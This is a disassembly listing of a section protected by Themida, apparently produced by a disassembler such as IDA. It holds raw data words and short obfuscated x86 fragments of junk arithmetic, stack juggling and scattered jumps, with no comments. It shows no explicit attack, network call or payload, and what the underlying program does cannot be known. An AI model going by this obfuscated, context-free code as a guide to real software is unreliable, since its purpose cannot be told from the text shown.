dd 0FF6CF7E9h, 0B8C780FFh, 0D7F6DFF6h, 52EE9h, 24048900h
dd 4C2FE954h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55AA5E: ; CODE XREF: Themida_:0055A8F3j
add edi, ecx
pop ecx
add edi, 0F4CCFB3Eh
push 604Ch
mov [esp], eax
jmp loc_55BE35
; ---------------------------------------------------------------------------
loc_55AA74: ; CODE XREF: Themida_:00554408j
mov eax, 20015621h
shr eax, 3
dec eax
sub eax, 35B39DAFh
jmp loc_55C981
; ---------------------------------------------------------------------------
db 2Dh
dd 59BA3E33h, 7C46042Dh, 5D8014Ah, 4A7C4604h, 0FF67C5E9h
dd 0E9E589FFh, 1E93h, 0FF331CE9h, 88E95FFFh, 5B000029h
dd 348BF231h, 4C48124h, 1000000h, 34B9E9D1h, 0C289FFFFh
dd 8BF22958h, 0C4812434h, 4, 0E9565142h, 119Fh
; ---------------------------------------------------------------------------
loc_55AAD8: ; CODE XREF: Themida_:0054F2DEj
dec ah
jmp loc_5547D6
; ---------------------------------------------------------------------------
loc_55AADF: ; CODE XREF: Themida_:005619ECj
mov ebx, [esp]
jmp loc_5560BD
; ---------------------------------------------------------------------------
loc_55AAE7: ; CODE XREF: Themida_:0055F173j
pop eax
shr ecx, 7
push dword ptr [edi+1Ch]
jmp loc_552928
; ---------------------------------------------------------------------------
loc_55AAF3: ; CODE XREF: Themida_:00553FB0j
shr eax, 18h
xor eax, ecx
xor eax, ebx
xor ebx, eax
xor eax, ebx
push ebx
push esi
pop ebx
jmp loc_55E123
; ---------------------------------------------------------------------------
dw 0C101h
aXhse db 'Xh˜e',0
align 2
dw 1C89h
dd 3AAFBB24h, 0BF573E7Ch, 267E4D23h, 0CF81DFF7h, 47424ADEh
dd 5623E9h, 1C77FF00h, 6659669Dh, 9C241CD3h, 0FF328CE9h
dd 7E6853FFh, 5B3E8D38h, 4689C381h, 0F3813B01h, 66864D68h
dd 0BA5BDE89h, 1F083273h, 0FFD42EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AB59: ; CODE XREF: Themida_:0054FD10j
pop dword ptr [esp]
mov esp, [esp]
mov [esp], eax
mov eax, 3FCh
jmp loc_560686
; ---------------------------------------------------------------------------
dd 0B73F4DB8h, 10D00D16h, 7CE9676Eh
db 81h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AB7B: ; CODE XREF: Themida_:0055E3AFj
push dword ptr [esp]
pop ebx
push ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
sub al, 6Ch
sub al, cl
push ecx
mov ch, 0ADh
jmp loc_55457F
; ---------------------------------------------------------------------------
loc_55AB9D: ; CODE XREF: Themida_:0055CF13j
shl ecx, 6
and ecx, 329062A8h
sub ecx, 524C48A3h
mov esi, ecx
pop ecx
xor esi, edi
mov edi, [esp]
add esp, 4
jmp loc_55EEE5
; ---------------------------------------------------------------------------
db 87h
dd 335C241Ch, 2C31242Ch, 242C3324h, 2404215Ch, 31EFE99Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55ABD6: ; CODE XREF: Themida_:0054E7ADj
inc al
jmp loc_55B8F6
; ---------------------------------------------------------------------------
db 68h, 37h, 24h
dd 2C890000h, 7B7D6824h, 815D249Fh, 19576EC5h, 1B95175h
dd 1000000h, 0E5C159CDh, 3E5C105h, 1A4FE9h, 24048900h
dd 0C60073B0h, 0FFBC5CE9h, 2434FFFFh, 5524048Bh, 0FFA821E9h
dd 68E189FFh, 3FCBh, 0BD242C89h, 2C055199h, 0ED81DDF7h
dd 3AFC6E72h, 0E908E5C1h, 0FFFF6D11h, 8B2434FFh, 0C4812404h
dd 4, 7D9D68h, 241C8900h, 40E9h, 316BE900h, 2C89FFFFh
dd 243C8724h, 1E9D7F7h
db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AC67: ; CODE XREF: Themida_:0056138Dj
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
jmp loc_55E96D
; ---------------------------------------------------------------------------
dd 42474FFh, 582434FFh, 0FF8A97E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55AC81: ; CODE XREF: Themida_:00558C29j
mov eax, edi
jmp loc_55D6BC
; ---------------------------------------------------------------------------
loc_55AC88: ; CODE XREF: Themida_:0055DA8Fj
mov bh, 0AAh
jmp loc_5549AB
; ---------------------------------------------------------------------------
db 5Fh
dd 0FFA847E9h, 95E950FFh, 8100006Dh, 4E1C47E9h, 0A0E9813Bh
dd 11A5D44h, 0E95159CFh, 1B2Ch, 8B2434FFh, 0C4812404h
dd 4, 0FFCF62E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55ACC1: ; CODE XREF: Themida_:0055245Ej
add edx, 45D63257h
neg edx
not edx
xor edx, 165282FBh
jmp loc_54E3CC
; ---------------------------------------------------------------------------
dw 0E089h
dd 0FFB617E9h, 240C89FFh, 0FFA63BE9h, 2434FFFFh, 0E924048Bh
dd 5A21h, 0C688F588h, 5966E888h, 0EC815E2Ch, 4, 0B6241489h
dd 9242E9D5h, 3C89FFFFh, 2474FF24h, 48F5F04h, 0C6835C24h
dd 24348704h, 4BD555Ch, 56000000h, 0DB29B6BEh, 5DF68104h
dd 814E4073h, 15C8A0C6h, 5EF229C0h, 7723C281h, 67E90501h
dd 8000001Fh, 0D52850EAh, 59E8305Ah, 1B09E9h
db 0
; ---------------------------------------------------------------------------
loc_55AD51: ; CODE XREF: Themida_:00554660j
add eax, 7F7779FFh
mov edx, [esp]
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], esp
push 35DEh
mov [esp], ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
jmp loc_54F6E9
; ---------------------------------------------------------------------------
loc_55AD7C: ; CODE XREF: Themida_:0054F1B4j
mov ecx, 4
add ebx, ecx
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
jmp loc_55C7CC
; ---------------------------------------------------------------------------
loc_55AD95: ; CODE XREF: Themida_:0055DA87j
xchg edi, esi
jmp loc_54F78E
; ---------------------------------------------------------------------------
loc_55AD9C: ; CODE XREF: Themida_:0055A5C8j
sub bl, al
sub bl, 0DEh
jmp loc_54DF89
; ---------------------------------------------------------------------------
loc_55ADA6: ; CODE XREF: Themida_:0055CD50j
add esp, 2
jmp loc_54E297
; ---------------------------------------------------------------------------
loc_55ADAE: ; CODE XREF: Themida_:0055FB33j
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
add esp, 4
add esi, 4
jmp loc_55B504
; ---------------------------------------------------------------------------
db 51h, 0B9h, 78h
dd 0F71C9068h, 814949D9h, 0D81E77C1h, 624EE95Ah, 8B680000h
dd 89000008h, 5B5E241Ch, 348BF089h, 4C48324h, 6884B951h
dd 0BEE90291h, 89000037h, 0C2E9240Ch
db 2Fh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AE03: ; CODE XREF: Themida_:0056136Aj
mov eax, [esp]
add esp, 4
jmp loc_558046
; ---------------------------------------------------------------------------
loc_55AE0E: ; CODE XREF: Themida_:0054F811j
shl ecx, 1
shl ecx, 1
shl ecx, 1
push edi
jmp loc_55336F
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 7CBA68h, 241C8900h, 2BBh, 39C18100h, 0E97C341Ah
dd 15A2h, 8D2A4805h, 0E9E8012Fh, 3729h, 773A11BFh, 66EF817Eh
dd 2970B039h, 66C781DFh, 5B70B039h, 4AD6B951h, 9EE90D4Ah
dd 87FFFF83h, 685C240Ch, 68F9h, 57241C89h, 825EEBFh, 5FFB8944h
dd 5233C281h, 0DA2907F3h, 5233EA81h, 34FF07F3h, 2434FF24h
dd 0FFB2D0E9h, 241489FFh, 4BE9A3B6h, 8BFFFF80h, 22E92424h
dd 0B9FFFF2Fh, 727073BCh, 0E981D9F7h, 522B2279h, 0E181D9F7h
dd 3D3506D8h, 0B64BD55h, 0C2E97970h, 0BFFFFFACh, 37D76006h
dd 8B5FFB29h, 89572434h, 4C781E7h, 0E9000000h, 0FFFF9A5Bh
dd 815A5452h, 4C2h, 4BB5300h, 1000000h, 0FF525BDAh, 8B042474h
dd 0C4812414h, 4, 5C24048Fh, 722BE981h, 0C4E958B1h, 0FF000027h
dd 34FF2434h, 24048B24h, 4C481h, 89570000h, 4C781E7h, 0E9000000h
dd 738Eh, 5358C201h, 4B698FBBh, 0E9DA2953h, 0FFFF7897h
dd 148BD689h, 0FAECE924h, 7EE9FFFFh, 31FFFF2Eh, 0E46852D8h
dd 5400006Ch, 0FF4264E9h, 243C29FFh, 4277E9h, 0C4835D00h
dd 24048F04h, 0E924248Bh, 7820h, 7BA8C681h, 0EE010DD2h
dd 7BA8EE81h, 875D0DD2h, 0ADE92434h, 80000043h, 0C78047C7h
dd 5BFD8854h, 0E93ECD80h, 67B6h
; ---------------------------------------------------------------------------
loc_55AF94: ; CODE XREF: Themida_:00554DA4j
add ebp, ebx
pop ebx
push esi
push 1951h
mov [esp], edi
mov edi, 747A510Fh
mov esi, 8B85AEF5h
jmp loc_557C2A
; ---------------------------------------------------------------------------
db 87h
dd 815C241Ch, 715A2AEBh, 0E9FB013Ch, 0AFh
; ---------------------------------------------------------------------------
loc_55AFC0: ; CODE XREF: Themida_:0055534Dj
pop esi
and ebx, 3C3F090Eh
push ecx
jmp loc_5597B3
; ---------------------------------------------------------------------------
db 0FFh, 74h, 24h
dd 48F5804h, 75E6E924h, 15FFFFFh, 24348BF2h, 0E904C483h
dd 0FFFFB955h, 2E7FE958h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55AFEE: ; CODE XREF: Themida_:0055D848j
add esp, 4
sub esp, 4
jmp loc_554FF1
; ---------------------------------------------------------------------------
db 5Fh, 0C1h, 0EBh
dd 0FFC38302h, 0EF8EB81h, 0D9011F9Fh, 0B2B1E95Bh, 0C87FFFFh
dd 0BDE95C24h, 81FFFF7Fh, 7E3596EDh, 0A3B8503Ch, 3117E755h
dd 5E958C5h, 81FFFF75h, 2C4h, 6C016600h, 81660224h, 0C02246Ch
dd 2C8B6672h, 2C48324h, 13F2E9h, 0C6816600h, 29663316h
dd 55665EF3h, 0BD66h, 86ED8166h, 34E1E979h, 6B68FFFFh
dd 8B579C7Ch, 84E9240Ch, 81000075h, 715A2AC3h, 82C3813Ch
dd 81003E05h, 413449C3h, 243C8B61h, 0E9E38953h, 0FFFF4541h
; ---------------------------------------------------------------------------
loc_55B08C: ; CODE XREF: Themida_:00560FE1j
mov ebp, esp
jmp loc_5527BC
; ---------------------------------------------------------------------------
loc_55B093: ; CODE XREF: Themida_:00557968j
sub edi, ebx
pop ebx
jmp loc_5615AA
; ---------------------------------------------------------------------------
aS_7 db '\é;)',0
db 0
; ---------------------------------------------------------------------------
loc_55B0A1: ; CODE XREF: Themida_:005613C5j
mov ebx, 560410D4h
jmp loc_55FB6C
; ---------------------------------------------------------------------------
loc_55B0AB: ; CODE XREF: Themida_:0054EB6Aj
add edx, 476B219Fh
pop ecx
sub edx, 4
jmp loc_551B54
; ---------------------------------------------------------------------------
dw 0D3F7h
dd 0EC81DBF7h, 4, 0BF243C89h, 74AAF5D2h, 34FFFB29h, 0C4815F24h
dd 4, 15BD829h, 686F05D8h, 7E9530Ah, 8FFFFF47h, 95C2404h
dd 34FF1C77h, 2434FF24h, 0FFEC7CE9h, 24148BFFh, 5104C483h
dd 4BB53h, 0D9890000h, 0E9CA015Bh, 5443h, 4240483h, 4BE5659h
dd 1000000h, 53565EF1h, 0AB4A33BBh, 0E3D14B57h, 9460EB81h
dd 0DE89AF56h, 74CE95Bh, 3C890000h, 81E78924h, 4C7h, 4EF8300h
dd 0E9243C87h, 53DEh, 0BE243489h, 35661409h, 374BBB53h
dd 4EE939E7h
db 6Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B15F: ; CODE XREF: Themida_:005559C5j
mov esp, [esp]
push 3DA7h
mov [esp], eax
jmp loc_54F5C7
; ---------------------------------------------------------------------------
loc_55B16F: ; CODE XREF: Themida_:0055878Ej
mov eax, 55C53095h
sub edi, 194A205Dh
sub edi, eax
add edi, 194A205Dh
pop eax
xor edi, 7DB43F9Fh
or ebp, edi
pop edi
push 5D1Dh
mov [esp], ebx
mov ebx, 1713386Ah
or ebp, ebx
mov ebx, [esp]
jmp loc_54EE6C
; ---------------------------------------------------------------------------
db 4
dd 0B2B3539Ah, 8085F380h, 0C38081EBh, 61EB8097h, 24E5E9h
db 0
; ---------------------------------------------------------------------------
loc_55B1B9: ; CODE XREF: Themida_:0054F46Ej
and esi, ebx
pop ebx
xor esi, 6040090h
jmp loc_550405
; ---------------------------------------------------------------------------
db 8Bh
dd 0C483241Ch, 24048F04h, 0FF9B83E9h, 5BDD29FFh, 8B242C87h
dd 14892424h, 28BA24h, 0EA810000h, 1C3B5973h, 0FF2CB4E9h
dd 4C481FFh, 87000000h, 0DCE92434h, 68FFFFA0h, 37CCh, 68243489h
dd 1, 0FFE5D7E9h, 0CDB252FFh, 0F6D2E280h, 53F280D2h, 806DCA80h
dd 7D68A2F2h, 89000038h, 0B6B5240Ch, 805EE580h, 0F58026C5h
dd 0E9EA007Eh, 0FFFF407Ah
; ---------------------------------------------------------------------------
loc_55B23C: ; CODE XREF: Themida_:005613CFj
add esp, 4
add ebx, 1
add ebx, 0B067EEF3h
add eax, ebx
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_55FD9B
; ---------------------------------------------------------------------------
loc_55B25E: ; CODE XREF: Themida_:00550B2Ej
sub ebx, edi
pop edi
add ebx, ebp
add ebx, 2D8C2A2Eh
jmp loc_55BE97
; ---------------------------------------------------------------------------
dw 0E800h
dd 0FFB089E9h, 31F181FFh, 51500570h, 592404FFh, 274E181h
dd 0F18140F6h, 413C706Dh, 0B2E9CF01h, 1000044h, 0C28158C2h
dd 245E72D1h, 0FF36FFE9h, 0E0F281FFh, 13F2249h, 6AB5E9D5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B2AE: ; CODE XREF: Themida_:0055E332j
mov edi, esp
add edi, 4
push esi
mov esi, 4
add edi, esi
push dword ptr [esp]
jmp loc_55E2B9
; ---------------------------------------------------------------------------
dw 0C138h
dd 2AF7E99Ch, 1489FFFFh, 4EC8324h, 0BB241C89h, 32644D32h
dd 1C8BDA89h, 4C48324h, 35A9CA81h, 0C28153FFh, 19AD3EB6h
dd 23CDC281h, 38E906F7h, 0F7FFFF81h, 43EB87D5h, 0EB81D3F7h
dd 1A5547F2h, 4093E9h, 241C8900h, 0C38002B3h, 5BDD28F6h
dd 3000B252h, 0EDC05AD5h, 52EDD002h, 0C280BDB2h, 5AD5006Bh
dd 3FD4E9h
db 0
; ---------------------------------------------------------------------------
loc_55B331: ; CODE XREF: Themida_:00555D7Aj
mov ebx, 3DDD25BFh
xor eax, ebx
pop ebx
push ebx
mov ebx, 70282B1Bh
shl ebx, 6
add ebx, 0FD1A8B05h
and eax, ebx
pop ebx
add eax, 76822ED3h
sub eax, 3D3CCE78h
mov ebp, eax
jmp loc_5509E9
; ---------------------------------------------------------------------------
loc_55B35C: ; CODE XREF: Themida_:0055BC3Bj
mov esi, [esp]
add esp, 4
push eax
jmp loc_555E30
; ---------------------------------------------------------------------------
db 0B9h
dd 25577A85h, 0FF9E99E9h, 397568FFh, 1C890000h, 0F6FBB324h
dd 0E9D386D3h, 0FFFF61FCh, 29E9C301h, 80000045h, 0C380E9EBh
dd 0B0C3809Dh, 0EB80C328h, 9DEB80B0h, 0E9E9C380h, 5EC8h
dd 0E9EE0159h, 0FFFF402Ah, 7784F381h, 0CB299D3Bh, 0FFE7B3E9h
dd 0BF575EFFh, 62E74F72h, 8103E7C1h, 0F758AEF7h, 4DD2E962h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B3D2: ; CODE XREF: Themida_:0055338Aj
mov esi, eax
pop eax
jmp loc_562723
; ---------------------------------------------------------------------------
dw 0EA81h
dd 58BA6A0Ch, 1522F281h, 0C28137F4h, 7233DFD9h, 98E9D731h
dd 50000031h, 6FA3E9h, 4C78100h, 83000000h, 3C8704C7h
dd 0C4835C24h, 0EDC14504h, 0EE21E905h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B412: ; CODE XREF: Themida_:005536C5j
not edx
and edx, 14D827E6h
dec edx
push 6A6Bh
mov [esp], edx
push edi
mov edx, [esp]
add esp, 4
pop edi
dec edi
xchg edi, edx
jmp loc_5537AE
; ---------------------------------------------------------------------------
loc_55B436: ; CODE XREF: Themida_:0055EA29j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esp
jmp loc_556265
; ---------------------------------------------------------------------------
loc_55B450: ; CODE XREF: Themida_:00558EE7j
push 1BC24E1Fh
mov ecx, [esp]
push edi
jmp loc_558E4F
; ---------------------------------------------------------------------------
dw 0FF68h
dd 8900002Fh, 0BA522424h, 4, 4245401h, 2434FF5Ah, 5D2434FFh
dd 8104C483h, 4C4h, 4EC8300h, 0BF243C89h, 4, 0F0DE9h, 555E5400h
dd 0C5815D54h, 4, 8904EC83h, 4BF243Ch, 0E9000000h, 3810h
dd 5C8968h, 24048900h, 4A5E68h, 242C8900h, 0EF1C4868h
dd 242C8B63h, 4C481h, 50570000h, 0FFCE87E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55B4D1: ; CODE XREF: Themida_:00556B26j
add ebx, 0FFFFFFFFh
and ebx, 68C572A0h
add ebx, 4883CD4Dh
sub esi, ebx
mov ebx, [esp]
add esp, 4
add esi, 10ED32DFh
add edi, esi
jmp loc_54E5DE
; ---------------------------------------------------------------------------
db 68h, 0EBh, 0Ah
dd 3C890000h, 0E9E78924h, 3EF7h
; ---------------------------------------------------------------------------
loc_55B504: ; CODE XREF: Themida_:0055ADC4j
push ebx
sub esp, 4
mov [esp], edx
jmp loc_553A5D
; ---------------------------------------------------------------------------
aSvs db '(ØéVs',0
dw 6600h
dd 5024048Bh, 0EBE9E089h
db 6Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B523: ; CODE XREF: Themida_:0055CC29j
xor eax, ecx
xor eax, ebx
xor ebx, eax
xor eax, ebx
xor ebx, ebp
xor ebp, ebx
xor ebx, ebp
sub esp, 4
mov [esp], ebp
push edx
pop ebp
jmp loc_555873
; ---------------------------------------------------------------------------
loc_55B541: ; CODE XREF: Themida_:00560B55j
dec edi
not edi
dec edi
inc edi
or edi, 6EB1510Ah
sub edi, 0FFFFFFFFh
jmp loc_55FE0C
; ---------------------------------------------------------------------------
dd 0E9240489h, 0FFFF2869h, 3506E0C1h, 9FE58C12h, 41E9C789h
db 81h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B56B: ; CODE XREF: Themida_:00559530j
xchg eax, ebp
push 4CF1h
mov [esp], esi
push eax
mov esi, [esp]
add esp, 4
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
push esp
mov ecx, [esp]
jmp loc_556B40
; ---------------------------------------------------------------------------
db 5, 4, 0
dd 53550000h, 0F37EB68h, 3134E959h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B5A2: ; CODE XREF: Themida_:0055B9E6j
or ebx, edi
jmp loc_55A91D
; ---------------------------------------------------------------------------
loc_55B5A9: ; CODE XREF: Themida_:0055FB5Fj
mov [esp], ebx
push 0B6F6788h
pop ebx
add ebx, 732B352Bh
sub esp, 4
mov [esp], ecx
jmp loc_551623
; ---------------------------------------------------------------------------
loc_55B5C3: ; CODE XREF: Themida_:00551B2Ej
shl ebx, 8
shl ebx, 7
sub ebx, 72545ACAh
sub edx, ebx
pop ebx
jmp loc_5611A5
; ---------------------------------------------------------------------------
db 5
dd 0E949968Ah, 1679BD55h, 0EB291D75h, 81C3015Dh, 751679C3h
dd 24048B1Dh, 4C481h, 10E90000h
db 50h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B5FB: ; CODE XREF: Themida_:0055E6F3j
mov eax, [esp]
add esp, 4
jmp loc_55EF0D
; ---------------------------------------------------------------------------
loc_55B609: ; CODE XREF: Themida_:0055D8E8j
add ecx, ebx
pop ebx
xor eax, ecx
mov ecx, [esp]
add esp, 4
jmp loc_55FB28
; ---------------------------------------------------------------------------
loc_55B61C: ; CODE XREF: Themida_:00552540j
mov ecx, 533F5F88h
shr ecx, 3
jmp loc_554D70
; ---------------------------------------------------------------------------
db 0B3h, 7Ah, 80h
dd 0E32858EBh, 5858C380h, 0E904EC83h, 0FFFFDA78h
; ---------------------------------------------------------------------------
loc_55B63C: ; CODE XREF: Themida_:0055FE83j
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push dword ptr [esp]
pop eax
push ecx
jmp loc_55E4BF
; ---------------------------------------------------------------------------
dw 8B66h
dd 0E9502404h, 0FFFF5B37h, 5324148Bh, 0C381E389h, 4, 0E904C383h
dd 0FFFFF937h, 7123C781h, 0CF0109CAh, 7123EF81h, 5D6809CAh
dd 89000075h, 5CE92414h
db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B693: ; CODE XREF: Themida_:00552BE4j
pop esi
jmp loc_54EB68
; ---------------------------------------------------------------------------
db 5Ch, 89h, 2Ch
dd 2474FF24h, 6DEAE904h, 0BF57FFFFh, 64965108h, 126AE9h
dd 2571BF00h, 0C14F7591h, 0E95204E7h, 0FFFF79BFh, 40EDE981h
dd 0F1013BE3h, 40EDC181h, 0BE563BE3h, 3F5547D7h, 0FF5FFBE9h
dd 0A10FE9FFh, 0E789FFFFh, 22A9BA52h, 0CA816F54h, 565976ABh
dd 0FF647BE9h, 94F681FFh, 814EBD30h, 1B2002C6h, 4EE981E0h
dd 103C930h, 4EC181F1h, 5E03C930h, 0C8BC829h, 0DD4BE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55B716: ; CODE XREF: Themida_:0055773Ej
mov ecx, 65AD6B0Fh
xor ecx, ebp
mov ebp, [esp]
add esp, 4
sub ecx, 22430570h
sub esi, 18825E1Bh
sub esi, 27834151h
add esi, ecx
add esi, 27834151h
add esi, 18825E1Bh
mov ecx, [esp]
jmp loc_56045B
; ---------------------------------------------------------------------------
dw 481h
dd 424h, 4DDEE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B75A: ; CODE XREF: Themida_:0055D862j
sub esi, edx
pop edx
jmp loc_557796
; ---------------------------------------------------------------------------
dw 9BB8h
dd 0D7FC264h, 5B4974A0h, 0FF6B69E9h, 3641B9FFh, 0E1817F8Eh
dd 6FF1213Ah, 0FFBA2CE9h, 1FEE68FFh, 1C890000h, 9091E924h
dd 4B8FFFFh, 1000000h, 3C8758C7h, 0D3015C24h, 42DFBD55h
dd 3C75B1Ch, 5B1C42DFh, 5B5D2B29h, 0FF4153E9h, 241C8BFFh
dd 4C481h, 0C3810000h, 4, 3304EB83h, 1C31241Ch, 241C3324h
dd 90E9h, 243C8700h, 0FF2C29E9h, 241C87FFh, 65C1355Ch
dd 0E95E069Ah, 0FFFF7E14h
; ---------------------------------------------------------------------------
loc_55B7E8: ; CODE XREF: Themida_:0055F9DCj
push ebx
push edi
mov edi, 40135009h
xor edi, 45377C2Bh
jmp loc_55E4FF
; ---------------------------------------------------------------------------
dw 34FFh
aSsxg db '$[SéxG',0
align 4
loc_55B804: ; CODE XREF: Themida_:0055D2B9j
mov [esp], ecx
sub esp, 4
mov [esp], edx
mov dh, 9Eh
push eax
mov ah, dh
push ebx
mov bh, ah
mov cl, bh
pop ebx
jmp loc_54E661
; ---------------------------------------------------------------------------
dd 3166AD66h, 8B5452D8h, 0C4812414h, 4, 4BE56h, 0EA810000h
dd 541177E4h, 0C281F201h, 541177E4h, 5157515Eh, 373A8FB9h
dd 8E1C174h, 81D9F749h, 0A43E03E1h, 3E1C124h, 3D25E9h
dd 24248B00h, 0E9240489h, 40D4h, 81E38953h, 4C3h, 4B95100h
dd 1000000h, 61A6E9CBh, 0EC830000h, 243C8904h, 614E24BFh
dd 5FF90175h, 0FFC070E9h, 2434FFFFh, 4C4815Eh, 81000000h
dd 4ECh, 24048900h, 4B8h, 91E95100h, 29FFFFAEh, 0F75F243Ch
dd 4EC81D7h, 89000000h, 34B82404h, 2D3C4950h, 489D3DB3h
dd 3E8FB235h, 58C7010Fh, 4814EB81h, 0C3815C10h, 555A5098h
dd 0EB81FB01h, 555A5098h, 4814C381h, 3C8B5C10h, 165E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55B8F6: ; CODE XREF: Themida_:0055ABD8j
add al, 0DCh
jmp loc_55F721
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
aS_8 db '$éÔ&',0
align 2
dw 0D9B8h
dd 0E9379124h, 0FFFFEAC4h
; ---------------------------------------------------------------------------
loc_55B910: ; CODE XREF: Themida_:005536DFj
pop eax
add eax, 4
push ecx
push ebp
jmp loc_55FBD6
; ---------------------------------------------------------------------------
db 31h, 0F0h, 0E9h
dd 10DEh
; ---------------------------------------------------------------------------
loc_55B924: ; CODE XREF: Themida_:00552CC1j
sub eax, 6B6C647Fh
sub eax, 6F7F7940h
sub eax, 203E7331h
jmp loc_55918A
; ---------------------------------------------------------------------------
loc_55B938: ; CODE XREF: Themida_:00560498j
xchg eax, [esp]
pop esp
sub esp, 4
jmp loc_55A8B3
; ---------------------------------------------------------------------------
loc_55B947: ; CODE XREF: Themida_:00554D76j
push ebp
mov ebp, 37111B25h
sub ebp, 6A2E1C8Dh
not ebp
dec ebp
not ebp
sub ebp, 0EAA5E48Dh
sub ecx, 677A7B4Bh
add ecx, ebp
add ecx, 677A7B4Bh
pop ebp
jmp loc_54F685
; ---------------------------------------------------------------------------
loc_55B972: ; CODE XREF: Themida_:0055D756j
mov ecx, 61602000h
add ebx, ecx
pop ecx
mov eax, [esp]
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
push 3DB2h
mov [esp], ebp
push esp
pop ebp
jmp loc_552C81
; ---------------------------------------------------------------------------
loc_55B999: ; CODE XREF: Themida_:0055DE71j
push ecx
mov ecx, 37682024h
jmp loc_55D536
; ---------------------------------------------------------------------------
loc_55B9A4: ; CODE XREF: Themida_:00550C7Cj
or esi, 7E095099h
shl esi, 8
inc esi
xor esi, 9CAEAC54h
xor ebp, esi
pop esi
add esi, ebp
pop ebp
and edx, esi
pop esi
jmp loc_55D078
; ---------------------------------------------------------------------------
loc_55B9C2: ; CODE XREF: Themida_:00552984j
mov [esp], ebp
jmp loc_550E6F
; ---------------------------------------------------------------------------
aSO db ')Ú[',9,'×é!o',0
align 4
loc_55B9D4: ; CODE XREF: Themida_:005586E1j
mov edx, [esp]
add esp, 4
and ebx, 23186B67h
push edi
mov edi, 36D56CB9h
jmp loc_55B5A2
; ---------------------------------------------------------------------------
db 89h
dd 0FB015BDFh, 24B0E9h
db 0
; ---------------------------------------------------------------------------
loc_55B9F5: ; CODE XREF: Themida_:0054E348j
add esi, ebp
pop ebp
jmp loc_556B03
; ---------------------------------------------------------------------------
db 8Fh, 4, 24h
dd 0FF24248Bh, 52582434h, 0FFAE92E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_55BA0D: ; CODE XREF: Themida_:0055C203j
pop edi
jmp loc_55E3C7
; ---------------------------------------------------------------------------
loc_55BA13: ; CODE XREF: Themida_:0055550Dj
pop ebp
add ebp, ecx
pop ecx
add ebp, 2
jmp loc_551BD5
; ---------------------------------------------------------------------------
loc_55BA22: ; CODE XREF: Themida_:00560AC0j
inc ebx
xor ebx, 0DD0AF3C6h
mov esi, ebx
pop ebx
push eax
mov eax, 7A992129h
and esi, eax
pop eax
xor esi, 495315F6h
add ecx, esi
mov esi, [esp]
add esp, 4
sub ebx, 2EDA2116h
add ebx, 2FD91D86h
jmp loc_556F6E
; ---------------------------------------------------------------------------
dd 0A3E9F101h, 83FFFF4Fh, 0BE904C4h, 81FFFFDFh, 0F4028BE3h
dd 4EBC13Eh, 50C8B951h, 0CB0941EAh, 7E3C159h, 681CE9h
dd 243C8B00h, 4C481h, 732D0000h, 0E92E257Bh, 0FFFF4EBAh
; ---------------------------------------------------------------------------
loc_55BA90: ; CODE XREF: Themida_:00553822j
pop eax
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
bt [esp], ax
pushf
jmp loc_5556B6
; ---------------------------------------------------------------------------
dd 6F8568h, 243C8900h, 996EE957h, 0E951FFFFh, 0FFFF52AFh
dd 5585450h, 4, 0E904E883h, 0FFFF8FD2h, 0BA241489h, 5F2D37AAh
dd 7377E281h, 0E5E979D8h, 0BBFFFFD9h, 0A240C17h, 815BD901h
dd 347826E9h, 0E9F92955h, 0FFFF8F96h, 40AEF81h, 0CF290B2Ch
dd 40AC781h, 0F7590B2Ch, 0D8BE56DFh, 815EF67Fh, 8B89F8C6h
dd 5E0E9E3h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55BB16: ; CODE XREF: Themida_:0054F12Dj
mov [esp], ecx
jmp loc_562313
; ---------------------------------------------------------------------------
dw 8B66h
dd 0D2682404h, 8900006Ch, 0E682404h, 8900000Eh, 4812424h
dd 424h, 0B4685800h, 89000004h, 0B8502414h, 2E5F3E1Eh
dd 753A3548h, 0C28950CCh, 4EC8158h, 89000000h, 14F72414h
dd 24148B24h, 81E28952h, 4C2h, 4C28300h, 0E9241487h, 0FFFFD401h
; ---------------------------------------------------------------------------
loc_55BB74: ; CODE XREF: Themida_:0055908Dj
mov eax, 5C3AC06Eh
jmp loc_55A52B
; ---------------------------------------------------------------------------
dw 50B8h
dd 2D138523h, 0FFFFFFFFh, 85234F2Dh, 0FFC70113h, 48B2434h
